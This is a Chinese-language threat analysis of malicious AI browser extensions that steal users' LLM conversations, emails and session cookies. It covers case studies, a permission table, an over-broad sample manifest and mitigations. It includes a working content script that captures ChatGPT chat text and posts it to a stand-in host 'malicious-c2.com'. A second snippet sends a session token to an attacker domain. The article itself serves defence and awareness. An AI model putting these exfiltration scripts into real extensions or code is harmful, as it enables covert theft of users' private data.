恶意AI浏览器扩展窃取LLM敏感数据分析
近期,恶意浏览器扩展程序已成为窃取大型语言模型(LLM)敏感数据的新兴威胁载体。这些扩展通常伪装成生产力工具或AI助手,在用户不经意间获取广泛权限,从而秘密收集用户与LLM(如ChatGPT、Gemini、DeepSeek等)的交互内容、个人身份信息(PII)以及企业内部数据,并将其回传至攻击者控制的远程服务器。这种攻击模式直接危及个人隐私和企业数据安全。
攻击机制分析
恶意AI浏览器扩展利用多种技术手段实施数据窃取。这些方法涵盖从前端JavaScript注入到利用浏览器API的权限滥用。
恶意代码注入与DOM操作
最常见的攻击方式是通过内容脚本(content scripts)向用户访问的网页注入恶意JavaScript代码。这些代码能够实时监听、修改或提取页面上的内容。例如,攻击者可以注入脚本来抓取用户在LLM聊天界面中输入的提示词(prompts)和LLM生成的响应(responses)。
// 恶意内容脚本示例:窃取ChatGPT聊天记录
// 注意:此为概念验证,实际攻击代码通常经过混淆和动态加载
(function() {
const exfiltrateData = (data) => {
fetch('https://malicious-c2.com/exfil', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
}).catch(e => console.error("Exfiltration failed:", e));
};
const observeChat = () => {
// 假设LLM聊天容器的CSS选择器,实际可能因LLM服务而异
const chatContainer = document.querySelector('.main-container');
if (chatContainer) {
const observer = new MutationObserver(mutations => {
mutations.forEach(mutation => {
if (mutation.type === 'childList' || mutation.type === 'characterData') {
// 提取用户输入和AI响应,假设特定的DOM结构
const userInputs = Array.from(document.querySelectorAll('.user-message-selector')).map(el => el.textContent);
const aiResponses = Array.from(document.querySelectorAll('.ai-response-selector')).map(el => el.textContent);
// 组合并发送数据
const chatHistory = {
timestamp: new Date().toISOString(),
url: window.location.href,
user_inputs: userInputs,
ai_responses: aiResponses
};
console.log("Captured chat history:", chatHistory); // For demonstration
exfiltrateData(chatHistory);
}
});
});
observer.observe(chatContainer, { childList: true, subtree: true, characterData: true });
console.log("Monitoring LLM chat interactions...");
} else {
console.log("LLM chat container not found. Retrying...");
setTimeout(observeChat, 2000);
}
};
// 在页面加载后启动监控
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', observeChat);
} else {
observeChat();
}
})();
在AiFrame攻击活动中,攻击者就利用JavaScript在mail.google.com页面加载阶段(document_start)运行专用脚本并注入界面元素,直接从DOM中读取可见邮件内容,并通过.textContent持续提取邮件会话文本,甚至包括邮件草稿,并将这些敏感信息上传至攻击者控制的第三方后端服务器。这些扩展还内置远程触发的语音识别与转录功能,通过Web Speech API录音并回传结果,可能窃取受害者所处环境的对话内容。
权限滥用
浏览器扩展程序在安装时会请求一系列权限。恶意扩展往往会请求与其宣称功能不符的宽泛权限,例如“读取和更改您访问的所有网站上的所有数据”("permissions": ["<all_urls>"])、访问浏览历史记录、Cookie、剪贴板甚至进行桌面捕获。一旦用户授权,这些权限便成为数据窃取的基石。
下表列出了一些恶意扩展常滥用的关键权限及其潜在影响:
| 权限 (Manifest V3) | 描述 | 潜在滥用行为 |
|---|---|---|
"scripting" |
允许扩展在页面中注入和执行脚本。 | 内容脚本注入,DOM操作以窃取数据,会话劫持。 |
"activeTab" |
在用户主动调用时,对当前活动标签页临时授予主机权限。 | 在用户交互后窃取当前页面数据,常与误导性功能结合。 |
"host_permissions": ["<all_urls>"] |
允许扩展访问所有URL上的数据。 | 窃取任意网站的敏感数据(包括LLM交互),监控浏览历史,修改网页内容。 |
"cookies" |
允许扩展访问和修改Cookie。 | 窃取会话Cookie以进行会话劫持,绕过身份验证。 |
"webRequest", "webRequestBlocking" |
允许扩展拦截、阻止或修改网络请求。 | 拦截API请求和响应以窃取或篡改数据,绕过CSP。 |
"clipboardRead", "clipboardWrite" |
允许扩展读写剪贴板内容。 | 窃取用户复制粘贴的敏感信息,如密码、API密钥。 |
"history" |
允许扩展访问和修改浏览器历史记录。 | 监控用户访问的LLM服务,分析其使用模式。 |
数据外传机制
窃取到的敏感数据(如LLM对话内容、会话令牌、企业内部URL等)需要被发送到攻击者控制的命令与控制(C2)服务器。攻击者通常利用标准Web协议(如HTTP/HTTPS)进行通信,以混入正常流量,规避防火墙和代理的出站流量检查。
// 示例:通过Fetch API将窃取数据发送到C2服务器
const sensitiveData = {
llm_chat: "用户与LLM的对话内容",
session_token: "用户会话令牌"
};
fetch('https://attacker-controlled-domain.com/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(sensitiveData)
})
.then(response => response.json())
.then(data => console.log('Exfil success:', data))
.catch((error) => console.error('Exfil error:', error));
会话劫持
某些恶意扩展专注于窃取会话Cookie或身份验证令牌,从而实现会话劫持,使攻击者无需密码即可访问受害者的账户,甚至绕过多因素认证(MFA)。例如,针对Workday、NetSuite和SAP SuccessFactors的攻击活动中,恶意扩展会持续窃取名为_session的Cookie,并每60秒传输到C2服务器,以确保攻击者持有有效令牌。
内容安全策略 (CSP) 绕过
内容安全策略(CSP)旨在通过指定可信的内容源来缓解XSS等注入攻击。然而,恶意浏览器扩展可以通过多种方式绕过或禁用CSP。例如,利用浏览器的webRequest API拦截HTTP响应头,并将Content-Security-Policy头的值清空,从而在特定标签页禁用CSP限制。尽管一些早期的浏览器漏洞(如Chrome的CVE-2017-5033和Safari的CVE-2017-2419)曾被用于绕过CSP,但扩展程序的强大权限使得即使没有这些漏洞,也能实现类似效果。
WebRTC 泄露
Web Real-Time Communication (WebRTC) 功能用于浏览器间的实时通信,但它可能在用户使用代理或VPN时泄露用户的真实IP地址,甚至内部IP地址。恶意扩展虽然不直接利用WebRTC窃取LLM数据,但结合其他窃密行为,通过WebRTC获取的真实IP地址可以帮助攻击者追踪受害者或规避安全措施。已有扩展如“WebRTC Leak Prevent”专门通过控制WebRTC隐私设置来防止此类泄露。
典型案例研究
AiFrame 攻击活动
2026年2月14日披露的AiFrame攻击活动揭示了超过30款恶意Chrome浏览器扩展伪装成AI助手窃取用户账号凭证、邮件内容和浏览信息。这些扩展程序共被超过30万用户安装,并归属于同一攻击团伙,与域名tapnetic.pro下的攻击基础设施通信。
- 流行扩展:
Gemini AI Sidebar(ID:fppbiomdkfbhgjjdmojlogeceejinadg) 用户量达8万,已被下架。其他如AI Sidebar、AI Assistant、ChatGPT Translate等也榜上有名。 - 窃取机制: 这些扩展在本地并未实现任何AI功能,而是通过全屏iframe加载远程域名内容提供所谓“AI服务”。攻击者可随时修改扩展逻辑,无需推送更新即可改变行为,从而绕过应用商店的重新审核。
- 目标数据: 重点针对Gmail数据,通过在
mail.google.com页面加载阶段注入脚本,直接从DOM读取邮件会话文本甚至草稿。此外,还内置远程触发的语音识别与转录功能,通过Web Speech API录音并回传结果,可能窃取受害者所处环境的对话内容。
Prompt Poaching 攻击
2026年1月6日,安全研究人员发现两款新型恶意Chrome扩展程序,专门窃取用户与OpenAI ChatGPT和DeepSeek等大型语言模型的对话内容,并将浏览数据外传至攻击者控制的服务器。Secure Annex将这种通过浏览器扩展窃取AI对话的行为命名为“Prompt Poaching”(提示词掠夺)。
- 涉事扩展:
Chat GPT for Chrome with GPT-5, Claude Sonnet(ID:fnmihdojmnkclgjpcoonokmkhjpjechg,约60万用户) 和AI Sidebar with ChatGPT, Claude, and more.(ID:inhcgfpbfdjbjogdfjbclgolkmhnooop,约30万用户)。 - 数据外传: 这些扩展每30分钟就会将用户对话内容和所有Chrome标签页URL外传至远程C2服务器(如
chatsaigpt[.]com或deepaichats[.]com)。 - 潜在危害: 可能导致ChatGPT对话内容、搜索记录、企业内部URL等多种敏感信息被窃取,用于企业间谍活动、身份盗窃或定向钓鱼攻击。
技术分析与防御
扩展程序权限模型
浏览器扩展程序通过manifest.json文件声明其所需权限。安全研究人员应仔细审计此文件,识别任何不必要的或过于宽泛的权限请求。例如,请求"<all_urls>"权限的扩展应引起高度警惕。
{
"manifest_version": 3,
"name": "Malicious AI Assistant",
"version": "1.0",
"description": "一个提供高级AI功能的浏览器扩展。",
"permissions": [
"activeTab",
"scripting",
"webRequest",
"cookies",
"storage"
],
"host_permissions": [
"https://*/*",
"http://*/*"
],
"background": {
"service_worker": "background.js"
},
"content_scripts": [
{
"matches": ["*://chat.openai.com/*", "*://gemini.google.com/*"],
"js": ["content.js"],
"run_at": "document_idle"
}
]
}
上述manifest.json示例中,"host_permissions": ["https://*/*", "http://*/*"]以及"scripting"和"webRequest"权限组合赋予了扩展程序极高的能力,足以在用户访问的所有网站上执行代码、窃取数据和拦截网络请求。
JavaScript 运行时分析
利用浏览器开发者工具(Developer Tools)可以检查扩展程序的内容脚本,分析其在页面中的行为。通过Sources面板审查加载的脚本,并在关键函数处设置断点,可以观察数据提取和外传的过程。网络流量分析工具如Burp Suite或mitmproxy可用于捕获和检查扩展程序发起的HTTP/HTTPS请求,从而发现数据外传的目标C2服务器。
# 使用mitmproxy拦截HTTPS流量示例
mitmproxy -p 8080 --set block_global=false
# 在浏览器中配置代理为 localhost:8080
代码审计与反混淆
恶意扩展的代码通常经过高度混淆(obfuscated)以逃避检测。对可疑扩展进行代码审计,使用JavaScript反混淆工具可以帮助揭示其真实意图。分析background.js和内容脚本是发现恶意逻辑的关键。
缓解策略
- 严格的扩展程序审核与管理: 企业应实施严格的浏览器扩展程序管理策略,仅允许安装经过内部安全团队审核和批准的扩展程序。员工应被教育只从官方商店下载扩展,并警惕请求过多权限的程序。
- 最小权限原则: 仅授予扩展程序完成其功能所需的最小权限。用户在安装时应仔细审查权限请求,并拒绝不合理或不必要的权限。
- 内容安全策略 (CSP) 强化: 网站应实施严格的CSP,特别是基于Nonce或Hash的严格CSP,以减少恶意脚本注入的风险,即便扩展程序尝试绕过也增加攻击难度。
- 浏览器沙箱机制: 现代浏览器(如Chrome)的沙箱(sandbox)机制可以隔离不同网页和扩展程序的执行环境,限制其对操作系统资源的访问。
- 企业级浏览器安全解决方案: 部署专门的企业级浏览器安全平台(如LayerX),可以主动识别和阻止恶意扩展活动,提供比传统端点和网络安全堆栈更细粒度的控制和监控。
- OpenAI 锁定模式: 对于使用ChatGPT等LLM的用户,可以利用OpenAI提供的“锁定模式”(Lockdown Mode)等高级安全设置,该模式严格限制ChatGPT与外部系统的交互方式,以降低提示注入引发的数据外泄风险,例如将网页浏览限制为缓存内容。
- 定期安全检查: 用户应定期检查已安装的浏览器扩展,卸载不再使用或来源可疑的扩展。定期使用浏览器内置的恶意软件扫描器或第三方安全工具进行扫描。
恶意AI浏览器扩展对LLM敏感数据的窃取是一个持续演进的威胁。攻击者不断更新其技术,利用社会工程学和代码混淆来规避检测。持续的技术研究、严格的安全实践和用户教育是应对此类威胁的关键。